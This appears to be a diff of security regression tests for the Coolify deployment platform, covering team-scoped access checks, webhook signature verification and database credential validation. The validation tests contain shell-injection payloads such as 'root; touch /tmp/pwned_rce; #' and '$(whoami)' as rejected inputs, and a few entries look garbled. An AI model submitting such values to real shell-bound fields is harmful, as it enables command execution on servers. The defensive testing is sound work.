+ Livewire::withUrlParams([
+ 'destination' => $this->destinationB->uuid,
+ 'server_id' => $this->serverB->id,
+ ])
+ ->test(DockerCompose::class, $routeParams)
+ ->set('dockerComposeRaw', "services:\n app:\n image: nginx\n")
+ ->call('submit');
+
+ expect(Service::count())->toBe($before);
+ });
+
+});
+
+describe('PublicGitRepository destination team scope', function () {
+ test('submit with other team destination creates no application', function () {
+ $routeParams = [
+ 'project_uuid' => $this->projectA->uuid,
+ 'environment_uuid' => $this->environmentA->uuid,
+ ];
+
+ $before = Application::count();
+
+ try {
+ Livewire::withUrlParams(['destination' => $this->destinationB->uuid])
+ ->test(PublicGitRepository::class, $routeParams)
+ ->set('repository_url', 'https://github.com/coollabsio/coolify')
+ ->set('git_repository', 'coollabsio/coolify')
+ ->set('git_branch', 'main')
+ ->set('port', 3000)
+ ->set('build_pack', 'nixpacks')
+ ->set('git_source', 'other')
+ ->call('submit');
+ } catch (Throwable $e) {
+ // submit wraps errors via handleError; count assertion below is source of truth
+ }
+
+ expect(Application::count())->toBe($before);
+ });
+});
+
+describe('GithubPrivateRepository destination team scope', function () {
+ test('submit with other team destination throws and creates no application', function () {
+ $routeParams = [
+ 'project_uuid' => $this->projectA->uuid,
+ 'environment_uuid' => $this->environmentA->uuid,
+ ];
+
+ $before = Application::count();
+
+ try {
+ Livewire::withUrlParams(['destination' => $this->destinationB->uuid])
+ ->test(GithubPrivateRepository::class, $routeParams)
+ ->call('submit');
+ } catch (Throwable $e) {
+ // expected
+ }
+
+ expect(Application::count())->toBe($before);
+ });
+});
+
+describe('GithubPrivateRepositoryDeployKey destination team scope', function () {
+ test('submit with other team destination throws and creates no application', function () {
+ $routeParams = [
+ 'project_uuid' => $this->projectA->uuid,
+ 'environment_uuid' => $this->environmentA->uuid,
+ ];
+
+ $before = Application::count();
+
+ try {
+ Livewire::withUrlParams(['destination' => $this->destinationB->uuid])
+ ->test(GithubPrivateRepositoryDeployKey::class, $routeParams)
+ ->call('submit');
+ } catch (Throwable $e) {
+ // expected
+ }
+
+ expect(Application::count())->toBe($before);
+ });
+});
+
+describe('Resource/Create database destination team scope', function () {
+ test('mount with other team destination does not create database', function () {
+ $before = StandalonePostgresql::count();
+
+ $url = route('project.resource.create', [
+ 'project_uuid' => $this->projectA->uuid,
+ 'environment_uuid' => $this->environmentA->uuid,
+ ]).'?type=postgresql&destination='.$this->destinationB->uuid.'&server_id='.$this->serverB->id.'&database_image=postgres:16-alpine';
+
+ $this->get($url);
+
+ expect(StandalonePostgresql::count())->toBe($before);
+ });
+
+});
+
+describe('StandaloneDocker/SwarmDocker ownedByCurrentTeam scope', function () {
+ test('StandaloneDocker::ownedByCurrentTeam excludes other team destinations', function () {
+ expect(StandaloneDocker::ownedByCurrentTeam()->where('uuid', $this->destinationB->uuid)->first())->toBeNull();
+ });
+
+ test('SwarmDocker::ownedByCurrentTeam excludes other team destinations', function () {
+ expect(SwarmDocker::ownedByCurrentTeam()->where('uuid', $this->swarmDestinationB->uuid)->first())->toBeNull();
+ });
+
+ test('StandaloneDocker::ownedByCurrentTeam returns own destination', function () {
+ $found = StandaloneDocker::ownedByCurrentTeam()->where('uuid', $this->destinationA->uuid)->first();
+ expect($found)->not->toBeNull();
+ expect($found->id)->toBe($this->destinationA->id);
+ });
+
+ test('StandaloneDocker::ownedByCurrentTeamAPI scopes by explicit team id', function () {
+ expect(StandaloneDocker::ownedByCurrentTeamAPI($this->teamA->id)->where('uuid', $this->destinationB->uuid)->first())->toBeNull();
+ expect(StandaloneDocker::ownedByCurrentTeamAPI($this->teamB->id)->where('uuid', $this->destinationB->uuid)->first()?->id)->toBe($this->destinationB->id);
+ });
+
+ test('SwarmDocker::ownedByCurrentTeamAPI scopes by explicit team id', function () {
+ expect(SwarmDocker::ownedByCurrentTeamAPI($this->teamA->id)->where('uuid', $this->swarmDestinationB->uuid)->first())->toBeNull();
+ expect(SwarmDocker::ownedByCurrentTeamAPI($this->teamB->id)->where('uuid', $this->swarmDestinationB->uuid)->first()?->id)->toBe($this->swarmDestinationB->id);
+ });
+});
+
+describe('Destination/Show team scope', function () {
+ test('mount with other team destination UUID redirects to index', function () {
+ $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationB->uuid]);
+
+ expect($component->get('destination'))->toBeNull();
+ $component->assertRedirect(route('destination.index'));
+ });
+
+ test('mount with own destination UUID loads it', function () {
+ $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationA->uuid]);
+
+ expect($component->get('destination'))->not->toBeNull();
+ expect($component->get('destination')->id)->toBe($this->destinationA->id);
+ });
+
+ test('mount with other team swarm destination UUID redirects to index', function () {
+ $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->swarmDestinationB->uuid]);
+
+ expect($component->get('destination'))->toBeNull();
+ $component->assertRedirect(route('destination.index'));
+ });
+});
diff --git a/tests/Feature/TeamScopedResourceProofsTest.php b/tests/Feature/TeamScopedResourceProofsTest.php
new file mode 100644
index 000000000..b56fbd60e
--- /dev/null
+++ b/tests/Feature/TeamScopedResourceProofsTest.php
@@ -0,0 +1,96 @@
+userA = User::factory()->create();
+ $this->teamA = Team::factory()->create();
+ $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+ $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
+ $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id, 'network' => 'net-a-'.fake()->uuid()]);
+ $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+ $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+ // Team B (other team)
+ $this->userB = User::factory()->create();
+ $this->teamB = Team::factory()->create();
+ $this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
+ $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
+ $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id, 'network' => 'net-b-'.fake()->uuid()]);
+ $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
+ $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
+
+ // Authenticate as Team A
+ $this->actingAs($this->userA);
+ session(['currentTeam' => $this->teamA]);
+});
+
+test('unscoped Project lookup returns another teams project', function () {
+ $project = Project::where('uuid', $this->projectB->uuid)->first();
+
+ expect($project)->not->toBeNull()
+ ->and($project->team_id)->toBe($this->teamB->id)
+ ->and($project->team_id)->not->toBe($this->teamA->id);
+});
+
+test('unscoped StandaloneDocker lookup returns another teams destination', function () {
+ $dest = StandaloneDocker::where('uuid', $this->destinationB->uuid)->first();
+
+ expect($dest)->not->toBeNull()
+ ->and($dest->server->team_id)->toBe($this->teamB->id);
+});
+
+test('ownedByCurrentTeam scope blocks other-team Project access', function () {
+ expect(Project::ownedByCurrentTeam()->where('uuid', $this->projectB->uuid)->first())->toBeNull();
+});
+
+test('ownedByCurrentTeam scope allows own Project access', function () {
+ expect(Project::ownedByCurrentTeam()->where('uuid', $this->projectA->uuid)->first())->not->toBeNull();
+});
+
+test('Team A can create Application in Team B environment via unscoped lookups', function () {
+ $destination = StandaloneDocker::where('uuid', $this->destinationB->uuid)->first();
+ $project = Project::where('uuid', $this->projectB->uuid)->first();
+ $environment = $project->load(['environments'])->environments->where('uuid', $this->environmentB->uuid)->first();
+
+ $application = Application::create([
+ 'name' => 'team-scope-test-canary',
+ 'repository_project_id' => 0,
+ 'git_repository' => 'coollabsio/coolify',
+ 'git_branch' => 'main',
+ 'build_pack' => 'dockerfile',
+ 'dockerfile' => "FROM alpine\nCMD echo hello",
+ 'ports_exposes' => 80,
+ 'environment_id' => $environment->id,
+ 'destination_id' => $destination->id,
+ 'destination_type' => $destination->getMorphClass(),
+ 'health_check_enabled' => false,
+ 'source_id' => 0,
+ 'source_type' => GithubApp::class,
+ ]);
+
+ expect($application->environment_id)->toBe($this->environmentB->id)
+ ->and($application->destination_id)->toBe($this->destinationB->id)
+ ->and($application->environment->project->team->id)->toBe($this->teamB->id)
+ ->and($application->environment->project->team->id)->not->toBe($this->teamA->id);
+});
+
+test('resource creation page loads with another teams project UUID', function () {
+ $response = $this->get(route('project.resource.create', [
+ 'project_uuid' => $this->projectB->uuid,
+ 'environment_uuid' => $this->environmentB->uuid,
+ ]));
+
+ expect($response->status())->not->toBe(403);
+});
diff --git a/tests/Feature/Webhook/WebhookHmacTest.php b/tests/Feature/Webhook/WebhookHmacTest.php
new file mode 100644
index 000000000..a06e85309
--- /dev/null
+++ b/tests/Feature/Webhook/WebhookHmacTest.php
@@ -0,0 +1,338 @@
+create();
+ $project = Project::factory()->create(['team_id' => $team->id]);
+ $environment = Environment::factory()->create(['project_id' => $project->id]);
+ $server = Server::factory()->create(['team_id' => $team->id]);
+ $destination = $server->standaloneDockers()->firstOrFail();
+
+ return Application::create(array_merge([
+ 'name' => 'webhook-test-app',
+ 'git_repository' => "https://github.com/{$repo}",
+ 'git_branch' => $branch,
+ 'build_pack' => 'nixpacks',
+ 'ports_exposes' => '3000',
+ 'environment_id' => $environment->id,
+ 'destination_id' => $destination->id,
+ 'destination_type' => $destination->getMorphClass(),
+ ], $overrides));
+}
+
+describe('GitHub Manual Webhook HMAC', function () {
+ test('rejects push when secret is empty', function () {
+ $app = createApplicationWithWebhook();
+ DB::table('applications')->where('id', $app->id)->update([
+ 'manual_webhook_secret_github' => null,
+ ]);
+
+ $payload = json_encode([
+ 'ref' => 'refs/heads/main',
+ 'repository' => ['full_name' => 'test-org/test-repo'],
+ 'after' => 'abc123',
+ 'commits' => [],
+ ]);
+
+ $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
+ 'HTTP_X-GitHub-Event' => 'push',
+ 'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $payload, ''),
+ 'CONTENT_TYPE' => 'application/json',
+ ], $payload);
+
+ $response->assertOk();
+ expect($response->getContent())->toContain('Webhook secret not configured');
+ });
+
+ test('rejects push with forged hash', function () {
+ $app = createApplicationWithWebhook();
+
+ $payload = json_encode([
+ 'ref' => 'refs/heads/main',
+ 'repository' => ['full_name' => 'test-org/test-repo'],
+ 'after' => 'abc123',
+ 'commits' => [],
+ ]);
+
+ $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
+ 'HTTP_X-GitHub-Event' => 'push',
+ 'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue',
+ 'CONTENT_TYPE' => 'application/json',
+ ], $payload);
+
+ $response->assertOk();
+ expect($response->getContent())->toContain('Invalid signature');
+ });
+
+ test('accepts push with valid hash', function () {
+ $app = createApplicationWithWebhook();
+ $secret = $app->manual_webhook_secret_github;
+
+ $payload = json_encode([
+ 'ref' => 'refs/heads/main',
+ 'repository' => ['full_name' => 'test-org/test-repo'],
+ 'after' => 'abc123',
+ 'commits' => [],
+ ]);
+
+ $hmac = hash_hmac('sha256', $payload, $secret);
+
+ $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [
+ 'HTTP_X-GitHub-Event' => 'push',
+ 'HTTP_X-Hub-Signature-256' => "sha256={$hmac}",
+ 'CONTENT_TYPE' => 'application/json',
+ ], $payload);
+
+ $response->assertOk();
+ $content = $response->getContent();
+ expect($content)->not->toContain('Invalid signature');
+ expect($content)->not->toContain('Webhook secret not configured');
+ });
+});
+
+describe('GitLab Manual Webhook HMAC', function () {
+ test('rejects push when secret is empty', function () {
+ $app = createApplicationWithWebhook();
+ DB::table('applications')->where('id', $app->id)->update([
+ 'manual_webhook_secret_gitlab' => null,
+ ]);
+
+ $response = $this->postJson('/webhooks/source/gitlab/events/manual', [
+ 'object_kind' => 'push',
+ 'ref' => 'refs/heads/main',
+ 'project' => ['path_with_namespace' => 'test-org/test-repo'],
+ 'after' => 'abc123',
+ 'commits' => [],
+ ], [
+ 'X-Gitlab-Token' => 'attacker-supplied-token',
+ ]);
+
+ $response->assertOk();
+ expect($response->getContent())->toContain('Webhook secret not configured');
+ });
+
+ test('rejects push with wrong token', function () {
+ $app = createApplicationWithWebhook();
+
+ $response = $this->postJson('/webhooks/source/gitlab/events/manual', [
+ 'object_kind' => 'push',
+ 'ref' => 'refs/heads/main',
+ 'project' => ['path_with_namespace' => 'test-org/test-repo'],
+ 'after' => 'abc123',
+ 'commits' => [],
+ ], [
+ 'X-Gitlab-Token' => 'wrong-token',
+ ]);
+
+ $response->assertOk();
+ expect($response->getContent())->toContain('Invalid signature');
+ });
+
+ test('accepts push with valid token', function () {
+ $app = createApplicationWithWebhook();
+ $secret = $app->manual_webhook_secret_gitlab;
+
+ $response = $this->postJson('/webhooks/source/gitlab/events/manual', [
+ 'object_kind' => 'push',
+ 'ref' => 'refs/heads/main',
+ 'project' => ['path_with_namespace' => 'test-org/test-repo'],
+ 'after' => 'abc123',
+ 'commits' => [],
+ ], [
+ 'X-Gitlab-Token' => $secret,
+ ]);
+
+ $response->assertOk();
+ $content = $response->getContent();
+ expect($content)->not->toContain('Invalid signature');
+ expect($content)->not->toContain('Webhook secret not configured');
+ });
+});
+
+describe('Bitbucket Manual Webhook HMAC', function () {
+ test('rejects push when secret is empty', function () {
+ $app = createApplicationWithWebhook();
+ DB::table('applications')->where('id', $app->id)->update([
+ 'manual_webhook_secret_bitbucket' => null,
+ ]);
+
+ $payload = json_encode([
+ 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]],
+ 'repository' => ['full_name' => 'test-org/test-repo'],
+ ]);
+
+ $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [
+ 'HTTP_X-Event-Key' => 'repo:push',
+ 'HTTP_X-Hub-Signature' => 'sha256='.hash_hmac('sha256', $payload, ''),
+ 'CONTENT_TYPE' => 'application/json',
+ ], $payload);
+
+ $response->assertOk();
+ expect($response->getContent())->toContain('Webhook secret not configured');
+ });
+
+ test('rejects push with non-sha256 algorithm', function () {
+ $app = createApplicationWithWebhook();
+ $secret = $app->manual_webhook_secret_bitbucket;
+
+ $payload = json_encode([
+ 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]],
+ 'repository' => ['full_name' => 'test-org/test-repo'],
+ ]);
+
+ $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [
+ 'HTTP_X-Event-Key' => 'repo:push',
+ 'HTTP_X-Hub-Signature' => 'sha1='.hash_hmac('sha1', $payload, $secret),
+ 'CONTENT_TYPE' => 'application/json',
+ ], $payload);
+
+ $response->assertOk();
+ expect($response->getContent())->toContain('Invalid signature');
+ });
+
+ test('rejects push with forged hash', function () {
+ $app = createApplicationWithWebhook();
+
+ $payload = json_encode([
+ 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]],
+ 'repository' => ['full_name' => 'test-org/test-repo'],
+ ]);
+
+ $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [
+ 'HTTP_X-Event-Key' => 'repo:push',
+ 'HTTP_X-Hub-Signature' => 'sha256=forgedhashvalue',
+ 'CONTENT_TYPE' => 'application/json',
+ ], $payload);
+
+ $response->assertOk();
+ expect($response->getContent())->toContain('Invalid signature');
+ });
+
+ test('accepts push with valid sha256 hash', function () {
+ $app = createApplicationWithWebhook();
+ $secret = $app->manual_webhook_secret_bitbucket;
+
+ $payload = json_encode([
+ 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]],
+ 'repository' => ['full_name' => 'test-org/test-repo'],
+ ]);
+
+ $hmac = hash_hmac('sha256', $payload, $secret);
+
+ $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [
+ 'HTTP_X-Event-Key' => 'repo:push',
+ 'HTTP_X-Hub-Signature' => "sha256={$hmac}",
+ 'CONTENT_TYPE' => 'application/json',
+ ], $payload);
+
+ $response->assertOk();
+ $content = $response->getContent();
+ expect($content)->not->toContain('Invalid signature');
+ expect($content)->not->toContain('Webhook secret not configured');
+ });
+});
+
+describe('Gitea Manual Webhook HMAC', function () {
+ test('rejects push when secret is empty', function () {
+ $app = createApplicationWithWebhook();
+ DB::table('applications')->where('id', $app->id)->update([
+ 'manual_webhook_secret_gitea' => null,
+ ]);
+
+ $payload = json_encode([
+ 'ref' => 'refs/heads/main',
+ 'repository' => ['full_name' => 'test-org/test-repo'],
+ 'after' => 'abc123',
+ 'commits' => [],
+ ]);
+
+ $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [
+ 'HTTP_X-Gitea-Event' => 'push',
+ 'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $payload, ''),
+ 'CONTENT_TYPE' => 'application/json',
+ ], $payload);
+
+ $response->assertOk();
+ expect($response->getContent())->toContain('Webhook secret not configured');
+ });
+
+ test('rejects push with forged hash', function () {
+ $app = createApplicationWithWebhook();
+
+ $payload = json_encode([
+ 'ref' => 'refs/heads/main',
+ 'repository' => ['full_name' => 'test-org/test-repo'],
+ 'after' => 'abc123',
+ 'commits' => [],
+ ]);
+
+ $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [
+ 'HTTP_X-Gitea-Event' => 'push',
+ 'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue',
+ 'CONTENT_TYPE' => 'application/json',
+ ], $payload);
+
+ $response->assertOk();
+ expect($response->getContent())->toContain('Invalid signature');
+ });
+
+ test('accepts push with valid hash', function () {
+ $app = createApplicationWithWebhook();
+ $secret = $app->manual_webhook_secret_gitea;
+
+ $payload = json_encode([
+ 'ref' => 'refs/heads/main',
+ 'repository' => ['full_name' => 'test-org/test-repo'],
+ 'after' => 'abc123',
+ 'commits' => [],
+ ]);
+
+ $hmac = hash_hmac('sha256', $payload, $secret);
+
+ $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [
+ 'HTTP_X-Gitea-Event' => 'push',
+ 'HTTP_X-Hub-Signature-256' => "sha256={$hmac}",
+ 'CONTENT_TYPE' => 'application/json',
+ ], $payload);
+
+ $response->assertOk();
+ $content = $response->getContent();
+ expect($content)->not->toContain('Invalid signature');
+ expect($content)->not->toContain('Webhook secret not configured');
+ });
+});
+
+describe('Webhook Secret Auto-Generation', function () {
+ test('auto-generates webhook secrets on application creation', function () {
+ $app = createApplicationWithWebhook();
+
+ expect($app->manual_webhook_secret_github)->not->toBeEmpty();
+ expect($app->manual_webhook_secret_gitlab)->not->toBeEmpty();
+ expect($app->manual_webhook_secret_bitbucket)->not->toBeEmpty();
+ expect($app->manual_webhook_secret_gitea)->not->toBeEmpty();
+ expect(strlen($app->manual_webhook_secret_github))->toBe(40);
+ expect(strlen($app->manual_webhook_secret_gitlab))->toBe(40);
+ expect(strlen($app->manual_webhook_secret_bitbucket))->toBe(40);
+ expect(strlen($app->manual_webhook_secret_gitea))->toBe(40);
+ });
+
+ test('encrypts webhook secrets at rest', function () {
+ $app = createApplicationWithWebhook();
+ $plaintext = $app->manual_webhook_secret_github;
+
+ $raw = DB::table('applications')->where('id', $app->id)->first();
+
+ expect($raw->manual_webhook_secret_github)->not->toBe($plaintext);
+ expect($app->manual_webhook_secret_github)->toBe($plaintext);
+ });
+});
diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.php
index fc8b8ab9b..1a6a0d3d6 100644
--- a/tests/Unit/Actions/Server/CleanupDockerTest.php
+++ b/tests/Unit/Actions/Server/CleanupDockerTest.php
@@ -437,6 +437,16 @@
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
});
+it('container prune excludes persistent resource types', function () {
+ $sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
+
+ expect($sourceFile)->toContain('label!=coolify.type=database');
+ expect($sourceFile)->toContain('label!=coolify.type=application');
+ expect($sourceFile)->toContain('label!=coolify.type=service');
+ expect($sourceFile)->toContain('label!=coolify.proxy=true');
+ expect($sourceFile)->toContain('label=coolify.managed=true');
+});
+
it('preserves build image for currently running tag', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
diff --git a/tests/Unit/ApplicationGitSecurityTest.php b/tests/Unit/ApplicationGitSecurityTest.php
index 3603b18db..f983d4bf0 100644
--- a/tests/Unit/ApplicationGitSecurityTest.php
+++ b/tests/Unit/ApplicationGitSecurityTest.php
@@ -99,3 +99,23 @@
// The malicious payload should be escaped (escapeshellarg wraps and escapes quotes)
expect($command)->toContain("'https://github.com/user/repo.git'\\''");
});
+
+it('preserves ssh scheme URLs with custom ports in deploy_key commands', function () {
+ $deploymentUuid = 'test-deployment-uuid';
+
+ $application = new Application;
+ $application->git_branch = 'master';
+ $application->git_repository = 'ssh://git@192.168.56.11:22222/User/Repo.git';
+ $application->private_key_id = 1;
+
+ $privateKey = new PrivateKey;
+ $privateKey->private_key = 'fake-private-key';
+ $application->setRelation('private_key', $privateKey);
+
+ $result = $application->generateGitLsRemoteCommands($deploymentUuid, false);
+
+ expect($result['commands'])
+ ->toContain("'ssh://git@192.168.56.11:22222/User/Repo.git'")
+ ->toContain('-p 22222')
+ ->not->toContain('ssh:/git@192.168.56.11:22222/User/Repo.git');
+});
diff --git a/tests/Unit/DatabaseCredentialDirtyValidationTest.php b/tests/Unit/DatabaseCredentialDirtyValidationTest.php
new file mode 100644
index 000000000..85063f9e0
--- /dev/null
+++ b/tests/Unit/DatabaseCredentialDirtyValidationTest.php
@@ -0,0 +1,87 @@
+ str_starts_with($rule, 'regex:'));
+ expect($regexRules)->not->toBeEmpty();
+});
+
+it('databasePasswordRules includes regex rule when enforcePattern true', function () {
+ $rules = ValidationPatterns::databasePasswordRules(enforcePattern: true);
+
+ $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+ expect($regexRules)->not->toBeEmpty();
+});
+
+it('databasePasswordRules omits regex rule when enforcePattern false', function () {
+ $rules = ValidationPatterns::databasePasswordRules(enforcePattern: false);
+
+ $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+ expect($regexRules)->toBeEmpty();
+});
+
+it('databasePasswordRules keeps required, string, min and max when enforcePattern false', function () {
+ $rules = ValidationPatterns::databasePasswordRules(required: true, minLength: 1, maxLength: 128, enforcePattern: false);
+
+ expect($rules)->toContain('required');
+ expect($rules)->toContain('string');
+ expect($rules)->toContain('min:1');
+ expect($rules)->toContain('max:128');
+});
+
+it('databasePasswordRules keeps nullable and bounds when not required and enforcePattern false', function () {
+ $rules = ValidationPatterns::databasePasswordRules(required: false, minLength: 2, maxLength: 64, enforcePattern: false);
+
+ expect($rules)->toContain('nullable');
+ expect($rules)->toContain('string');
+ expect($rules)->toContain('min:2');
+ expect($rules)->toContain('max:64');
+ expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty();
+});
+
+// ── databaseIdentifierRules ───────────────────────────────────────────────────
+
+it('databaseIdentifierRules includes regex rule by default', function () {
+ $rules = ValidationPatterns::databaseIdentifierRules();
+
+ $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+ expect($regexRules)->not->toBeEmpty();
+});
+
+it('databaseIdentifierRules includes regex rule when enforcePattern true', function () {
+ $rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: true);
+
+ $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+ expect($regexRules)->not->toBeEmpty();
+});
+
+it('databaseIdentifierRules omits regex rule when enforcePattern false', function () {
+ $rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: false);
+
+ $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+ expect($regexRules)->toBeEmpty();
+});
+
+it('databaseIdentifierRules keeps required, string, min and max when enforcePattern false', function () {
+ $rules = ValidationPatterns::databaseIdentifierRules(required: true, minLength: 1, maxLength: 63, enforcePattern: false);
+
+ expect($rules)->toContain('required');
+ expect($rules)->toContain('string');
+ expect($rules)->toContain('min:1');
+ expect($rules)->toContain('max:63');
+});
+
+it('databaseIdentifierRules keeps nullable and bounds when not required and enforcePattern false', function () {
+ $rules = ValidationPatterns::databaseIdentifierRules(required: false, minLength: 1, maxLength: 30, enforcePattern: false);
+
+ expect($rules)->toContain('nullable');
+ expect($rules)->toContain('string');
+ expect($rules)->toContain('min:1');
+ expect($rules)->toContain('max:30');
+ expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty();
+});
diff --git a/tests/Unit/DatabaseCredentialValidationPatternTest.php b/tests/Unit/DatabaseCredentialValidationPatternTest.php
new file mode 100644
index 000000000..9331b4cbd
--- /dev/null
+++ b/tests/Unit/DatabaseCredentialValidationPatternTest.php
@@ -0,0 +1,176 @@
+toBe(1);
+})->with([
+ 'simple lowercase' => 'postgres',
+ 'underscore prefix' => '_admin',
+ 'mixed case' => 'MyDatabase',
+ 'alphanumeric' => 'App_DB_1',
+ 'single char' => 'a',
+ 'all caps' => 'ROOT',
+ 'numbers in middle' => 'db2user',
+]);
+
+it('DB_IDENTIFIER_PATTERN rejects shell-dangerous and invalid identifiers', function (string $id) {
+ expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(0);
+})->with([
+ 'semicolon' => 'user;id',
+ 'pipe' => 'user|cat',
+ 'ampersand' => 'user&rm',
+ 'dollar sign' => 'user$x',
+ 'backtick' => 'user`id`',
+ 'subshell' => 'user$(id)',
+ 'space' => 'user name',
+ 'newline' => "user\nname",
+ 'single quote' => "user'name",
+ 'double quote' => 'user"name',
+ 'backslash' => 'user\\name',
+ 'less than' => 'user 'user>name',
+ 'leading digit' => '1user',
+ 'hyphen' => 'my-user',
+ 'dot' => 'my.user',
+ 'empty' => '',
+ '64 chars (over limit)' => str_repeat('a', 64),
+ 'advisory poc payload' => 'root; touch /tmp/pwned_rce; #',
+ 'subshell payload' => 'a$(touch /tmp/pwn)b',
+]);
+
+// ── DB_PASSWORD_PATTERN ───────────────────────────────────────────────────────
+
+it('DB_PASSWORD_PATTERN accepts strong passwords without shell-dangerous chars', function (string $pw) {
+ expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(1);
+})->with([
+ 'alphanumeric' => 'SecurePass123',
+ 'with special safe chars' => 'P@ss!word#1',
+ 'with brackets' => 'P{a}ss[word]',
+ 'with slash' => 'Pass/word1',
+ 'with dot comma' => 'Pass.word,1',
+ 'with hyphen' => 'Pass-word1',
+ 'with plus equals' => 'Pass+word=1',
+ 'with tilde colon' => 'P~ass:word1',
+ 'complex strong' => 'Str0ng!P@ss#word^123',
+]);
+
+it('DB_PASSWORD_PATTERN rejects shell-dangerous characters', function (string $pw) {
+ expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(0);
+})->with([
+ 'backtick' => 'pass`word`',
+ 'dollar sign' => 'pass$word',
+ 'semicolon' => 'pass;word',
+ 'pipe' => 'pass|word',
+ 'ampersand' => 'pass&word',
+ 'less than' => 'pass 'pass>word',
+ 'backslash' => 'pass\\word',
+ 'single quote' => "pass'word",
+ 'double quote' => 'pass"word',
+ 'space' => 'pass word',
+ 'newline' => "pass\nword",
+ 'carriage return' => "pass\rword",
+ 'tab' => "pass\tword",
+ 'empty' => '',
+ 'command substitution' => '$(whoami)',
+ 'rce payload' => 'root; touch /tmp/pwned; #',
+]);
+
+// ── Rule helpers ──────────────────────────────────────────────────────────────
+
+it('databaseIdentifierRules returns required by default', function () {
+ $rules = ValidationPatterns::databaseIdentifierRules();
+
+ expect($rules)->toContain('required')
+ ->toContain('string')
+ ->toContain('min:1')
+ ->toContain('max:63')
+ ->toContain('regex:'.ValidationPatterns::DB_IDENTIFIER_PATTERN);
+});
+
+it('databaseIdentifierRules returns nullable when not required', function () {
+ $rules = ValidationPatterns::databaseIdentifierRules(required: false);
+
+ expect($rules)->toContain('nullable')
+ ->not->toContain('required');
+});
+
+it('databasePasswordRules returns required by default', function () {
+ $rules = ValidationPatterns::databasePasswordRules();
+
+ expect($rules)->toContain('required')
+ ->toContain('string')
+ ->toContain('min:1')
+ ->toContain('max:128')
+ ->toContain('regex:'.ValidationPatterns::DB_PASSWORD_PATTERN);
+});
+
+it('databasePasswordRules returns nullable when not required', function () {
+ $rules = ValidationPatterns::databasePasswordRules(required: false);
+
+ expect($rules)->toContain('nullable')
+ ->not->toContain('required');
+});
+
+it('isValidDatabaseIdentifier returns true for valid identifier', function () {
+ expect(ValidationPatterns::isValidDatabaseIdentifier('postgres'))->toBeTrue();
+ expect(ValidationPatterns::isValidDatabaseIdentifier('_admin'))->toBeTrue();
+ expect(ValidationPatterns::isValidDatabaseIdentifier('DB_1'))->toBeTrue();
+});
+
+it('isValidDatabaseIdentifier returns false for injection payloads', function () {
+ expect(ValidationPatterns::isValidDatabaseIdentifier('user; id'))->toBeFalse();
+ expect(ValidationPatterns::isValidDatabaseIdentifier('user$(whoami)'))->toBeFalse();
+ expect(ValidationPatterns::isValidDatabaseIdentifier(''))->toBeFalse();
+});
+
+// ── Validator integration ─────────────────────────────────────────────────────
+
+it('Laravel Validator rejects advisory PoC postgres_user payload', function () {
+ $validator = Validator::make(
+ ['postgres_user' => 'root; touch /tmp/pwned_rce; #'],
+ ['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('Laravel Validator rejects subshell injection in postgres_user', function () {
+ $validator = Validator::make(
+ ['postgres_user' => 'a$(touch /tmp/pwn)b'],
+ ['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('Laravel Validator accepts clean postgres_user', function () {
